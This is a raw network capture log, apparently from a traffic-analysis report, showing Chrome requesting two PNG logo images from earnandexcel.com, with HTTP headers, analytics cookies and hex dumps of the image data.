2024-04-11 21:26:50 UTC	1014	OUT	GET /wp-content/uploads/Coca-Cola.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 11802 Connection: close CF-Ray: 872e0ea43f0a8c36-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330e-2e1a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:54 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FRBs9zzJJlSnfPgkYVMOn143fFQ4qf%2FrhMJobevVDBBLMocnc8btF293nmpFnJpgABxjFMUVIyM1CSAXgzGPirVi8XrxOGRg8fRUmvpBIsxW93x9cBz4rgWsZRfWGtTIn3k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	467	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5f 08 06 00 00 00 4b 12 43 21 00 00 2d e1 49 44 41 54 78 da ec 99 c7 6b 55 4f 14 c7 dd 88 e0 bf a0 0b 15 bb d8 7b ef bd 77 c5 8e 22 62 01 11 5c 28 b6 85 62 43 04 41 44 5c 24 04 b2 48 20 c9 2e 8b 84 10 b2 48 21 09 09 d9 84 34 42 3a e9 bd b7 f3 e3 73 e0 c0 e5 72 5f 7e 2f 59 e5 e9 7c 61 78 ef ce 9d 99 3b f7 9c ef f7 9c 33 ef cd 10 07 07 87 49 61 86 38 38 38 38 d1 38 38 38 d1 38 38 4c 23 38 d1 38 38 38 d1 38 38 38 d1 38 38 4c 2b 38 d1 38 38 38 d1 38 38 38 d1 88 17 63 63 63 32 32 32 42 e3 bb b7 df 3f 4e db f8 f8 b8 b6 c1 c1 41 19 1d 1d 15 87 60 0c 0d 0d 61 27 ef b5 da cc db d7 df df af 7d 41 30 9f 18 98 c7 78 eb f3 f6 9b 5f 42 81 7b cc 9b 2c 98 e7 df d3 f0 f0 f0 84 e3 e1 04 6d 60 60 c0 6f 03 Data Ascii: PNGIHDR_KC!-IDATxkUO{w"b\(bCAD\$H .H!4B:sr_~/Y\|ax;3Ia888888888L#888888888L+8888888ccc222B?NA`a'}A0x_B{,m``o
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 1c a6 94 d5 c3 ba 47 e9 d4 d1 d1 01 61 21 a4 91 0d f2 a9 ed ed ac 10 02 36 d6 08 1f 48 6a fa c2 84 5f 1c e1 88 91 6b b8 e2 bf c7 9e 22 fb 87 80 20 b1 70 6d 4e f4 1b 04 87 55 57 57 4b 69 69 a9 54 56 56 4a 67 67 a7 37 62 d8 e1 cf fd 38 e0 b1 1b 19 a4 bb bb db 4f 38 c8 0c f1 35 30 95 97 97 4b 71 71 b1 34 35 35 49 5b 5b 1b 73 02 7d 02 09 6b 6b 6b a5 ac ac 4c 2a 2a 2a 24 3b 3b 5b b2 b2 b2 f4 b3 a0 a0 80 75 98 1f e4 53 bf c8 c2 12 0d c2 f5 03 41 f3 ec fc fc 7c 69 68 68 30 ff db 79 cc ff 8e c6 1b 13 0b b6 60 3f 91 2b 1a 43 50 14 b2 17 c6 11 d1 d1 d1 f2 fa f5 6b b9 7f ff be 9c 39 73 46 8e 1c 39 22 27 4e 9c 90 77 ef de 49 42 42 82 d4 d5 d5 89 9f 0c 0e c1 68 69 69 51 a2 c7 c5 c5 a9 4d 9f 3c 79 22 87 0f 1f 96 6d db b6 a9 6d 1f 3c 78 20 31 31 31 2a 10 50 52 52 a2 36 Data Ascii: Ga!6Hj_k" pmNUWWKiiTVVJgg7b8O850Kqq455I[[s}kkkL**$;;[uSA\|ihh0y`?+CPk9sF9"'NwIBBhiiQM<y"mm<x 111PRR6
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: bc 91 22 f5 bd 7b 29 8c cb 18 fe f4 a7 3f cd 74 c5 e3 ab 3d cb 24 e6 a0 d1 86 08 08 2b 7f f0 83 1f 44 6c da c5 c7 77 16 ff 12 5a 9e 30 ee d7 bf fe 35 c8 e1 ff 98 e2 e2 70 7e e8 43 1f 02 d5 e6 a3 5e 16 82 73 1f a1 c1 c0 29 a7 3f fc e1 0f a0 17 87 19 c3 60 64 b4 c4 c8 60 0e 26 be 38 d5 39 c9 2f be f8 e2 85 96 af 7b dd eb 2e f7 fd ec 67 3f d3 2f 9a 13 2e f4 cd 61 2e 37 73 08 7b 7d 4f 58 45 b3 0a 08 40 09 d6 b3 31 e4 47 81 76 2c 07 a6 76 dd ef 7f ff fb 04 06 c3 13 6e cf bd 8c f5 dd ef 7e 37 21 ca 67 71 4d 7c 04 7a 26 08 20 3b 38 e7 99 2c 1a a1 d1 37 05 90 d0 83 7e f1 d0 e3 09 39 4f 78 46 3b 7d fe f3 9f 17 c1 b1 58 26 8b 50 b4 11 28 81 a8 17 41 08 66 cd da b4 0f 7f f8 c3 20 1b e2 bb 17 91 11 76 d7 14 bd 2c c2 ce f7 11 1a 3f c1 27 5a 1b 2d d2 d0 20 92 4f 34 c5 Data Ascii: "{)?t=$+DlwZ05p~C^s)?`d`&89/{.g?/.a.7s{}OXE@1Gv,vn~7!gqM\|z& ;8,7~9OxF;}X&P(Af v,?'Z- O4
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: f8 be 42 63 2d b6 12 0a 22 12 5e d1 2e c2 09 96 b1 8e ca a7 12 2a 70 93 63 0f 95 e4 0f 51 ae ae 63 61 dd c3 5a a2 ed dc ba 7d fb 42 b3 2b 57 13 98 fe c7 49 b7 a0 39 fd 60 84 8f 85 2d 93 9f e3 9f 5f d1 c2 ec be 65 90 45 4d 10 13 21 8b f9 ab 99 c2 a8 da b5 a2 bd fa 9e 8b 27 b6 ff ad 6f 7d 4b a4 85 96 06 11 68 3b be 92 68 d4 14 90 94 c0 d5 0a 5a 58 1a d3 9a 2b cd 49 fb 49 20 1a 6f e5 25 9e a1 7f 0b af 80 30 f8 20 27 e2 6f ca 04 9d 68 d1 70 3a 85 33 6b f6 08 23 ec 8f 6e ae d5 2f 41 a1 7d 29 20 c9 45 81 81 ea ba cc df b8 73 ca df f9 ce 77 a2 9f fa 3e df 6f a5 27 24 cd bf 30 97 09 5b 83 96 cf 2a 34 09 c0 84 98 14 13 1a 71 e2 f1 04 41 a6 38 8d 2b 65 89 1e 7c ae 6a 0e c1 2f c2 4e c8 8c 0d 34 d5 4f a9 88 b6 68 6f 1f f5 36 85 a6 05 5d 4c 5a a6 d9 e2 b3 32 18 81 95 Data Ascii: Bc-"^.pcQcaZ}B+WI9`-_eEM!'o}Kh;hZX+II o%0 'ohp:3k#n/A}) Esw>o'$0[4qA8+e\|j/N4Oho6]LZ2
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: d0 d0 d8 09 46 16 8c e5 7b e3 1b df 48 98 cc 61 87 96 9f ab 64 6a 2b 42 82 59 d6 bf 2a f6 0a 2c 45 eb b6 c5 42 73 eb f2 da d7 be d6 e6 37 7e 5f fd f9 4c a1 7c bc 42 13 c1 58 1c 0c 64 21 69 11 4c 92 a5 41 a8 76 0e 62 84 fa 6e 03 54 44 13 d5 02 dd 62 ec 76 19 e6 13 10 38 96 26 06 c9 ef 21 a8 84 2d 0c ac 05 a7 30 5a 5b 7c 8d c9 4f 41 00 56 03 e1 6d aa 12 9d 61 3d 30 0f 06 25 9c e5 61 52 06 a0 13 a1 31 c7 04 19 33 60 f4 5a 8c ce 61 37 76 fe 16 cb 20 22 46 a8 1b db 95 85 cf 7f 0a 36 51 34 29 0f 74 30 97 a0 25 a1 17 4d e3 38 1f 66 ea 6b a1 01 d9 f5 b7 be f5 ad fa 11 25 33 17 35 80 34 fa d4 f6 b3 af 67 f5 67 b5 60 7b d6 41 f8 9e d5 45 77 74 b3 be 68 47 81 75 44 d7 14 08 91 52 d6 17 0d 53 32 f9 38 e8 63 4d f0 ca e3 15 1a 83 4f 73 7e ff fb df c7 8c 34 21 2d 6b 71 Data Ascii: F{Hadj+BY*,EBs7~_L\|BXd!iLAvbnTDbv8&!-0Z[\|OAVma=0%aR13`Za7v "F6Q4)t0%M8fk%354gg`{AEwthGuDRS28cMOs~4!-kq
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 54 56 82 e9 fd 8d a9 67 c4 6c 56 a5 66 65 c2 bc 39 bb 59 27 55 c2 b3 cd bc 90 84 9f f2 75 45 9c 39 ec 1a 82 56 1e 3f f7 ec 10 22 c1 81 84 3d a6 a8 cf e0 42 75 73 14 01 68 65 3e f9 69 31 f2 66 78 70 0f 73 a3 03 26 31 f7 92 a7 ed 22 24 38 16 5d 54 08 4c a9 bc 67 9f 3f cd 32 55 e0 5a 00 80 e0 fb 1d 63 11 fc 98 ae fb 62 58 10 c7 69 30 c6 4c 09 11 da 8e 54 42 af 02 25 9d ea d2 d9 0d 1b 92 d6 f8 78 42 ef 9e 09 7a ab 28 e0 d4 5b 2f c2 3f 5f 81 32 7d 2a e3 28 45 50 04 b5 35 e8 2c 07 f7 f9 5d bf 92 ae 98 7e 23 11 02 05 12 7b 1e 24 03 ea 49 c2 9a db 67 3e f3 99 f6 0e 29 89 02 8b 1d 4f a5 9a 82 60 99 87 b9 3d a8 d0 c4 24 7b 5b ac d8 bf 89 57 2e 43 cb f2 25 2c 14 06 43 64 a6 fa 9a 10 da 0f 81 39 11 75 66 8a 11 4a 74 27 08 91 a0 65 05 24 33 31 45 07 04 76 0d 68 33 6b Data Ascii: TVglVfe9Y'UuE9V?"=Bushe>i1fxps&1"$8]TLg?2UZcbXi0LTB%xBz([/?_2}*(EP5,]~#{$Ig>)O`=${[W.C%,Cd9ufJt'e$31Evh3k
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: a1 e7 b7 d9 ac 33 05 04 3c aa 6f 4b ab 1b 83 ff cf 8a 67 51 25 cc e3 ba 99 8f 32 7e c2 07 52 6f a8 0d 26 83 c4 98 14 c3 c6 f0 e6 c2 aa 6c 94 c1 0a b0 08 ad 83 ff 53 4a ee 03 b7 f3 c7 f2 6d ad 1d 7a 12 b4 f9 ca 8b 1a 9f 97 92 45 03 9f aa 3c d0 36 b8 55 68 dd 9b 0e 12 ec ca b4 5c 4b 89 ef ad d8 e8 fc 70 42 b3 1d e7 42 cd 06 3b fd 11 02 13 a1 4c cc 35 bb cd 5d 79 88 1b 91 32 b5 39 e1 a0 82 1a 32 d0 00 b4 e0 13 20 ac bf 77 2c 9f e0 60 bc de 93 92 a6 c6 54 18 d9 73 08 e1 f6 8f 44 b4 8c fb 95 af 7c 25 4d 05 2e a6 65 db d5 49 43 76 b6 18 a8 25 ea 63 e1 58 14 d7 94 f4 cc 1f 73 0f a1 b7 c7 c5 7d 98 87 03 3d 37 eb 6d c8 0b 32 d1 9c 59 37 63 68 03 9f 39 89 8a b1 5a 93 79 44 9c 08 33 41 73 7d 4e 31 3a 4c 81 ac 44 05 73 61 dc 79 4a 4e a7 f0 98 4f 35 79 2c 83 f5 30 3f Data Ascii: 3<oKgQ%2~Ro&lSJmzE<6Uh\KpBB;L5]y292 w,`TsD\|%M.eICv%cXs}=7m2Y7ch9ZyD3As}N1:LDsayJNO5y,0?
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 3a de 27 66 9a 8c 0e 26 59 08 59 6c 7e 00 98 51 88 b6 6b b6 b6 2e b4 b8 17 a4 0a 68 cc 25 83 0f 5e 80 0f 30 39 ad 4b f0 b6 53 be 99 b9 52 0d f7 1a 0f 5f a7 31 77 8f 2c bb 6b 2c 22 a8 6a 61 31 c3 51 d5 ef 1c eb 3e 84 9d b6 ec 08 a7 4e ae 49 8b a3 e5 b4 b2 18 99 90 51 2c ed e0 14 f5 63 7d 8e a0 34 f8 e4 1a 1f bf 07 5f 08 06 a6 2e a4 cd 57 20 fc e6 b1 4b f2 f3 c9 e4 64 14 46 52 1e fc 8d b6 68 5b ab fc af 8a 54 09 7e 07 ac ef 43 e8 73 fe 3b 8b b9 24 6e d1 3b d6 de 3c e3 13 56 87 5f 04 3d b0 fc e5 b3 cc 5b 9f f1 87 80 8b fb f9 4f ad ad 9f 0f 26 34 1e be 19 0d 1e b6 b0 45 ac f2 23 aa 48 55 bf 34 85 65 0b cf 7d 8f 35 f5 bc 32 ff c1 ba a3 13 fc 23 92 cf 0e 91 df 75 26 73 cf d9 fd 75 ed 61 1f fa ef 53 5b fd 1d fe bd fd 0d 61 e4 72 18 95 9b 14 c2 67 7d 58 33 96 b6 Data Ascii: :'f&YYl~Qk.h%^09KSR_1w,k,"ja1Q>NIQ,c}4_.W KdFRh[T~Cs;$n;<V_=[O&4E#HU4e}52#u&suaS[arg}X3
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: d5 05 1f a4 eb d0 93 4f e4 c8 5a da 9c 70 ef 53 3b 31 b7 10 75 56 d2 b3 2b 9d 81 36 1c a4 c2 da 77 24 2d 7a 55 8d 9d 2f d3 4e 5d 3f 1d db 44 11 f0 c1 7c 47 c8 3a 0b 3c f8 2f e8 a0 5f d0 1a 2a 10 31 43 9f b9 23 77 43 f4 07 13 9a 84 24 a2 61 e4 18 40 14 cd 04 4c 1c 51 aa 2a c6 7c 16 5f b0 80 6f 20 66 bf fd 0c 7f df f7 d8 db 84 8c e9 ee 74 12 d5 ad 98 0b 23 80 51 98 d8 58 2c 10 ed d4 d9 cd c6 55 a9 4b c9 34 8c 9a b0 6f a1 c9 ea 54 44 5a 48 3d ab 94 40 b5 4f bd 7d ec 34 2f e8 76 f5 0c b1 bd cd 22 bf a0 d3 27 e7 e1 1d 9d 7c e3 6f 8c 52 4b 91 8c 6d ca aa 26 58 40 79 14 61 e6 ce 95 db 3e 0a c5 a2 cf 2a 30 7a 4f 67 0c cd 22 40 0f ae d1 17 21 10 54 48 60 77 9e 4c 74 af cd 86 9d c0 e3 a7 b1 10 3a f9 1f eb 42 00 aa ae e8 dc 83 b6 c9 47 67 34 76 8f be dc d3 56 e9 20 Data Ascii: OZpS;1uV+6w$-zU/N]?D\|G:</_1C#wC$a@LQ\|_o ft#QX,UK4oTDZH=@O}4/v"'\|oRKm&X@ya>*0zOg"@!TH`wLt:BGg4vV
2024-04-11 21:26:50 UTC	383	IN	Data Raw: b4 91 09 ff 93 4f cb a7 cc bf 4b e8 e7 8b b6 58 51 c2 62 6d f6 9b a6 db 2a fe 38 85 26 66 ab a5 f9 97 b6 42 bc 5d d0 e8 13 a4 72 df 26 8a ef 36 b1 a6 86 0e 32 6c 21 59 ef 5a 39 6c 09 8e e7 4f 66 e9 59 47 04 5f e7 ac 1d f7 b9 69 51 35 33 df 66 1f 08 b2 33 fb fb c4 ff e7 69 bb aa 7c 27 5d 6b 6b 1c 25 4c 9f 76 b8 ca 86 46 e8 b7 e7 db 35 f9 1c 29 51 8a 75 2a 8e c3 ca f1 da 81 15 6d e7 a7 be fc 7c dc 96 66 57 f5 d6 0e b4 f4 7d 26 b3 35 59 8b 14 33 6c 08 b2 09 5e db f5 6d 39 c9 d7 82 01 3e bb 0a fb ae da b7 ac e0 b4 5a 69 ce 98 23 c1 dd 0a a5 be fb ae 31 4e 25 51 df fd de f1 53 ab 3a fb d0 1a 34 f7 0d 4d 27 e3 6f 4b e0 da 6d b9 fa dd e7 a8 80 76 0b eb b5 35 d8 50 ad fb 77 3d db 7d 4a 61 a2 bb 9f 8f 5b 68 ce 76 b6 c7 de 4e a1 39 db d9 4e a1 39 db d9 4e a1 39 db Data Ascii: OKXQbm8&fB]r&62l!YZ9lOfYG_iQ53f3i\|']kk%LvF5)Qum\|fW}&5Y3l^m9>Zi#1N%QS:4M'oKmv5Pw=}Ja[hvN9N9N9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.17	49926	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1025	OUT	GET /wp-content/uploads/TRANSPORT-FOR-LONDON.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	901	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 8412 Connection: close CF-Ray: 872e0ea47afdc41d-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ee-20dc" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:22 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ry8ZgPGWfJPoAt8iUuOPpWBRy8Ac4UFQcqyvjCM72loVaXeK28t08V4JOtrgVyMu5HsFXSVXwQaFeHSrh3ch4bxYGg9uAVVS1I70PCS0WqrnZ%2B9WbjhNBW2oy3K6T%2FTrFgY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5f 08 06 00 00 00 4b 12 43 21 00 00 20 a3 49 44 41 54 78 da ec 99 47 48 5e 4b 14 c7 25 10 08 21 c9 23 09 e9 bd 11 d2 0b e9 3d a4 41 c0 b2 10 c1 82 05 0b 16 ec 88 82 8a 28 e2 4e 44 5d b8 53 50 d1 85 a2 58 40 6c 0b c1 85 ba 11 37 8a 22 82 60 c5 de bb e7 f1 3f 70 e0 3a 18 f5 85 c7 e3 7b e6 fc 61 f8 be 3b 7d e6 ce 6f ce 99 b9 76 a4 52 a9 fe 91 ec 48 a5 52 29 34 2a 95 42 a3 52 d9 90 14 1a 95 4a a1 51 a9 14 1a 95 ca a6 a4 d0 a8 54 0a 8d 4a a5 d0 a8 54 36 25 85 46 a5 52 68 54 2a 85 46 a5 b2 29 29 34 2a 95 42 a3 52 29 34 2a 95 4d 49 a1 51 a9 14 1a 95 4a a1 51 a9 6c 4a ff 29 34 9b 9b 9b 3b 06 d1 dc dc 1c 07 d1 da da 1a 6d 6c 6c 58 eb c1 33 7e 7f d9 ce ea ea 2a 2d 2d 2d d1 f2 f2 32 3f ab 54 fb 12 Data Ascii: PNGIHDR_KC! IDATxGH^K%!#=A(ND]SPX@l7"`?p:{a;}ovRHR)4BRJQTJT6%FRhTF))4BR)4MIQJQlJ)4;mllX3~*---2?T
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ba 75 8b 2e 5e bc 48 8f 1e 3d a2 c7 8f 1f d3 d3 a7 4f e9 c9 93 27 74 ff fe 7d ba 79 f3 26 a7 9d 39 73 86 a1 f2 f3 f3 a3 b2 b2 32 58 21 bd 3d 53 d9 3e 34 7b b1 24 70 b7 44 e3 e3 e3 e2 4a 31 2c cf 9f 3f a7 0b 17 2e 70 78 f5 ea 15 7d fc f8 11 60 00 06 b6 2a af 5f bf a6 37 6f de 90 19 de bd 7b 47 ef df bf 67 90 ce 9d 3b c7 10 b9 b8 b8 50 45 45 85 b8 6f ec e2 59 c1 99 9d 9d 25 48 d2 7e 47 26 88 72 a6 82 c4 dd 14 c9 8d 9e 68 af 57 e7 a8 43 ca 9b 7d b7 de 38 2e 2e 2e e2 19 df b7 cc fc 12 67 c6 43 fc 2d 0b 32 d3 f1 2b 65 d1 1f c9 67 7e 06 10 49 3c fa 63 ce 89 04 f9 6e 06 c9 5a 40 bf 0d 99 e7 5b a9 07 f5 5b e7 c8 fc 2f 79 a5 ff e6 dc 4b fb c8 ff ff 81 66 62 62 82 64 b2 64 80 dd dd dd e4 ef ef cf c0 dc be 7d 9b 21 f8 fc f9 33 bd 78 f1 02 2e 18 60 60 58 ee de bd 0b Data Ascii: u.^H=O't}y&9s2X!=S>4{$pDJ1,?.px}`*_7o{Gg;PEEoY%H~G&rhWC}8...gC-2+eg~I<cnZ@[[/yKfbbdd}!3x.``X
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 9f 7c f2 c9 ea 9d 77 de 19 19 42 f2 f4 d3 4f 03 0c a5 1f 16 f8 8b 2f be a0 38 14 68 78 e0 6f bf fd 36 4a 51 63 81 a1 fc b7 de 7a 2b 65 00 cc d1 6f bf ff fe 7b fa 65 5c 43 3c 4f 1c a8 3f 29 28 4b 1d 9a 93 fe 93 9e 67 a4 f4 0b aa 4c be f9 e6 1b f5 62 80 d0 b3 01 c8 27 9f 7c 92 c7 1e 63 11 79 e1 85 17 28 23 4f 35 a8 ef f7 df 7f cf 98 19 83 01 8c 57 5f 7d 75 15 e1 7d 28 3c 60 dd 75 d7 5d ab f7 df 7f 5f fb 78 55 5e c4 3d 43 a9 9f 78 e2 89 9a f5 e4 a9 81 60 5c f3 f9 e7 9f 0f af fa e8 a3 8f 02 10 76 31 da 4d 7e fe f9 67 5e 09 93 f0 2c 49 20 7d c8 03 ba 47 5f f0 ec da ab 3d 31 7e 55 8f 0e 9b 9e 69 90 41 42 bf 80 87 f5 31 40 00 a4 83 28 3b cb 81 f3 76 be 9b 67 50 d0 6e 89 f1 53 60 b8 fd f6 db 01 92 f7 89 97 31 e0 80 29 d6 31 40 5c bc eb 7b e6 65 2f 89 80 58 ac 8f Data Ascii: \|wBO/8hxo6JQcz+eo{e\C<O?)(KgLb'\|cy(#O5W_}u}(<`u]_xU^=Cx`\v1M~g^,I }G_=1~UiAB1@(;vgPnS`1)1@\{e/X
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 3f 8a ce 9b b9 b7 96 23 a9 e3 3e 69 6c 7d 53 a9 5c 8d 45 a4 a4 81 4b bd 32 e9 c9 83 f1 a2 32 a3 a8 24 9a a6 ad 3e fb 04 af 3e 3d 9f a0 89 65 2c 8d d0 28 7c 9a 9b 05 1a ca 6a 20 29 31 0b 25 15 18 0b 74 54 5c 11 c5 3e ea e8 75 a9 d6 98 05 4b 3c 15 eb 4e 49 0d 40 ac 55 2d 23 65 9e 88 a2 26 e5 8b 7b 0b 66 97 44 aa d6 c0 0a f8 e3 4d 64 c3 d0 a7 c7 1e 7b 6c 55 b3 85 04 55 e2 21 28 95 38 26 29 67 40 0a b5 7b e0 81 07 e2 b1 01 42 6c 84 3e 51 24 47 56 40 68 33 45 76 2f 6a c8 43 c4 d3 50 4e f3 68 d2 b8 a3 0e 01 6d 62 a2 b7 de 7a cb f8 00 a8 ef 23 b6 59 92 28 b3 72 8d 39 8a 27 36 8a a7 52 46 a8 bb f8 2b 13 dd 40 ed 37 92 f9 17 13 a2 e4 df 7f ff c5 4e d4 5d 96 ce bd ff 1f f4 4c 07 b3 f4 06 47 45 51 86 c4 13 06 9b ab a5 b0 40 c3 fd 66 d2 ae 72 77 c7 09 24 0b 18 fb c0 Data Ascii: ?#>il}S\EK22$>>=e,(\|j )1%tT\>uK<NI@U-#e&{fDMd{lUU!(8&)g@{Bl>Q$GV@h3Ev/jCPNhmbz#Y(r9'6RF+@7N]LGEQ@frw$
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 74 4d 17 de 5a 3d 9a f4 45 bd 75 0c 53 e7 be a1 8d 6c 32 8c 80 77 6a 9e 46 4c 43 f1 28 b0 43 40 e9 a0 bc ac bb f8 81 f2 26 39 00 4c 52 99 89 6f 76 39 e2 39 b2 5c 46 f9 d9 8c 56 ff 16 5f 55 b0 38 af 0e ea 62 2e 24 2b 8f 4f b4 0a 3a 9d db 07 b8 2b 63 a7 14 5d 39 ba c5 cb 40 d7 81 ad 5e b0 97 d7 a4 d7 a5 03 a4 6e 79 ee cf 57 df 1e 0b e5 b9 51 dc dc d7 83 f2 5a 4e 7f 7e 07 7c 28 55 a7 7a ca ec 5e 65 69 95 fb 3a f0 f7 7e dd a6 3f ab 71 51 c7 53 f3 34 2a 6e 3e 44 d6 46 1e dd c1 cb c8 54 01 10 0b 4f 61 05 e9 89 31 1c 40 26 db 25 8b b5 cb a1 0c d4 d0 df 79 4b 8d 18 c5 b3 cd 47 e4 3d 02 be 03 31 3a 26 83 c3 c3 a8 a3 24 82 6c 9b 94 f5 89 e8 83 d5 07 d6 b3 99 4b b1 d4 c3 f1 c1 07 1f 38 27 a0 ee 20 10 a4 fb 4d 6a 55 7a 5c fa d9 a2 cd 2c d6 ac db a7 33 cb 2f 4b 26 9d Data Ascii: tMZ=EuSl2wjFLC(C@&9LRov99\FV_U8b.$+O:+c]9@^nyWQZN~\|(Uz^ei:~?qQS4*n>DFTOa1@&%yKG=1:&$lK8' MjUz\,3/K&
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 35 31 91 57 5d a1 4b 68 17 a1 f0 62 3f 54 b8 2f 5f aa 42 e7 32 e9 2d 51 a2 4c fb 81 00 c5 4a 02 c0 17 0b 61 1e c0 47 02 1a cf c3 1a 5a 16 f1 d4 e6 69 82 ce 4e 4d 2c 88 64 21 70 76 0d e1 6d 28 84 73 2c 3f 9e 5f 3b a1 7b 92 de 41 8e d0 8e c5 d9 66 bf 59 d3 04 a0 59 a1 40 e1 50 23 e0 61 09 0d 6e ea bd 0f 91 f8 60 35 3d 0f 45 d1 f9 14 8b 85 23 a8 96 2c 1d af 50 b7 17 47 0a 88 24 54 18 14 86 05 f7 d6 4e fd e5 5c 36 f1 69 0f 1a a2 3d 68 4a 7f 75 6c 1f 9b 8d a0 b1 c6 4d bd 05 ec 89 4d 81 33 9e be ce eb 68 ab 45 a4 c6 4d 19 bc ac b2 93 25 cc 2b aa c4 61 b2 65 59 8f c7 7b fa 8d 00 3d 3d 60 f5 ad b2 ae e3 99 e7 02 25 45 d7 5e cf 15 0f f1 04 da 12 0f a0 dd 9d ae 3b 0f 24 80 11 e0 8a 01 d5 19 88 08 06 c2 30 59 83 18 af cf b3 bb 07 b0 2f d7 26 b4 34 ba 2b b4 60 1b 58 Data Ascii: 51W]Khb?T/_B2-QLJaGZiNM,d!pvm(s,?_;{AfYY@P#an`5=E#,PG$TN\6i=hJulMM3hEM%+aeY{==`%E^;$0Y/&4+`X
